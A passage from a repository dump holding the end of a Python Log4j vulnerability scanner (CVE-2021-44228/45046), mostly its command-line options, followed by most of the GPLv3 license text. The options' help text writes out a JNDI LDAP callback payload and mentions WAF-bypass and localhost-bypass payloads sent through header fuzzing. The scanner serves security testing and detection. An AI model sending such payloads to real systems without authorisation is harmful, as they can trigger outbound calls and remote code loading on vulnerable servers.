'%20') 302 | 303 | if '://' not in url: 304 | url = "http://" + url 305 | 306 | scheme = urlparse.urlparse(url).scheme 307 | site = f"{scheme}://{urlparse.urlparse(url).netloc}" 308 | host = urlparse.urlparse(url).netloc.split(":")[0] 309 | file_path = urlparse.urlparse(url).path 310 | 311 | if file_path == '': 312 | file_path = '/' 313 | 314 | url_dict = { 315 | "scheme" : scheme, 316 | "site" : site, 317 | "host" : host, 318 | "file_path" : file_path 319 | } 320 | 321 | return url_dict 322 | 323 | def main(): 324 | def get_arguments(): 325 | banner = pyfiglet.figlet_format(" Log4jScanner") 326 | print(banner+"\n") 327 | parser = argparse.ArgumentParser(description=f'{Fore.RED}Log4jScanner v1.2 {Fore.YELLOW}[Author: {Fore.GREEN}Pushpender Singh{Fore.YELLOW}] [{Fore.GREEN}https://github.com/PushpenderIndia{Fore.YELLOW}]') 328 | parser._optionals.title = f"{Fore.GREEN}Optional Arguments{Fore.YELLOW}" 329 | parser.add_argument("-u", "--url", dest="url", help=f"{Fore.GREEN}Scan Single URL for Log4j ({Fore.WHITE}CVE-2021-44228{Fore.GREEN}, {Fore.WHITE}CVE-2021-45046{Fore.GREEN}){Fore.YELLOW}") 330 | parser.add_argument("-m", "--url-list", dest="url_list", help=f"{Fore.GREEN}Scan Multiple URLs, Give Full Path of File Containing URLs{Fore.YELLOW}") 331 | parser.add_argument("-th", "--thread", dest="thread", help=f"{Fore.GREEN}Thread Number. {Fore.WHITE}default=30{Fore.YELLOW}", default=30) 332 | parser.add_argument("-t", "--timeout", dest="timeout", help=f"{Fore.GREEN}HTTP Request Timeout. {Fore.WHITE}default=30{Fore.YELLOW}", default=30) 333 | parser.add_argument("-c", "--callback", dest="custom_callback_host", help=f"{Fore.GREEN}Provide Custom CallBack Host e.g. Burp Collaborator URL. {Fore.WHITE}default=''{Fore.YELLOW}", default="") 334 | parser.add_argument("-f", "--header-file", dest="file_containing_headers", help=f"{Fore.GREEN}Given File Containing Headers For Fuzzing Log4j Vulnerability. Available Header Files: {Fore.WHITE}db/headers-large.txt{Fore.GREEN}, {Fore.WHITE}db/headers-minimal.txt{Fore.GREEN}. {Fore.WHITE}default='db/headers.txt'{Fore.YELLOW}", default="db/headers.txt") 335 | parser.add_argument("-d", "--dns_callback", dest="dns_callback_provider", help=f"{Fore.GREEN}Switch b/w Two Built-in DNS Callback Providers for Verifying Vulnerabilty. Choose from {Fore.YELLOW}dnslog.cn{Fore.GREEN},{Fore.YELLOW}interact.sh{Fore.GREEN}. {Fore.WHITE}default='interact.sh'{Fore.YELLOW}", default="interact.sh") 336 | parser.add_argument("-nr", "--no-redirect", dest="disable_redirect", help=f"{Fore.GREEN}By Default, Log4jScanner will Follow Redirection & then will Put Payload to Redirected URL, {Fore.YELLOW}Specify this flag to disable redirection.", action='store_true') 337 | parser.add_argument("-nu", "--no-useragent-fuzz", dest="exclude_user_agent_fuzzing", help=f"{Fore.GREEN}By Default, Log4jScanner will fuzz All Headers Including User-Agent, But Some WAF blocks a HTTP request if Malicious Log4j User-Agent is found, In those Case, Exclude User-Agent Fuzzing. {Fore.YELLOW}Specify this flag to exclude User-Agent Fuzzing.", action='store_true') 338 | parser.add_argument("-b", "--basic-scan", dest="basic_scan", help=f"{Fore.GREEN}By Default, Log4jScanner will Test Every Single Possible Endpoint e.g. {Fore.WHITE}GET{Fore.GREEN} & {Fore.WHITE}POST Params {Fore.GREEN}& {Fore.WHITE}All Headers{Fore.GREEN} and Will Also Test for WAF Bypass Payload + LocalHost Restriction Bypass Payload. {Fore.YELLOW}Specify this flag if you just want to test basic payload ({Fore.WHITE}"+"${jndi:ldap://target_host.callback_host.com/Exploit}"+f"{Fore.YELLOW}).", action='store_true') 339 | 340 | return parser.parse_args() 341 | 342 | arguments = get_arguments() 343 | print(f"{Fore.YELLOW} [Author: {Fore.GREEN}Pushpender Singh{Fore.YELLOW}] [{Fore.GREEN}https://github.com/PushpenderIndia{Fore.YELLOW}]\n\n{Style.RESET_ALL}") 344 | 345 | if arguments.url_list: 346 | file_containing_urls = arguments.url_list 347 | url_list = [] 348 | 349 | elif arguments.url: 350 | file_containing_urls = "" 351 | url_list = [arguments.url] 352 | 353 | else: 354 | print(f"\n{Fore.RED}[!] No Flag is Specified! Type {Fore.GREEN}{sys.argv[0]} --help{Fore.YELLOW} for more.{Style.RESET_ALL}") 355 | sys.exit() 356 | 357 | ThreadNumber = int(arguments.thread) # 120 on VPS 358 | timeout = int(arguments.timeout) 359 | custom_dns_callback_host = arguments.custom_callback_host 360 | dns_callback_provider = arguments.dns_callback_provider 361 | disable_redirect = arguments.disable_redirect 362 | exclude_user_agent_fuzzing = arguments.exclude_user_agent_fuzzing 363 | basic_scan = arguments.basic_scan 364 | file_containing_headers = arguments.file_containing_headers 365 | test = Log4jScanner(file_containing_urls, url_list, ThreadNumber, timeout, custom_dns_callback_host, dns_callback_provider, disable_redirect, exclude_user_agent_fuzzing, basic_scan, file_containing_headers) 366 | test.start() 367 | 368 | if __name__ == "__main__": 369 | main() 370 | 371 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a 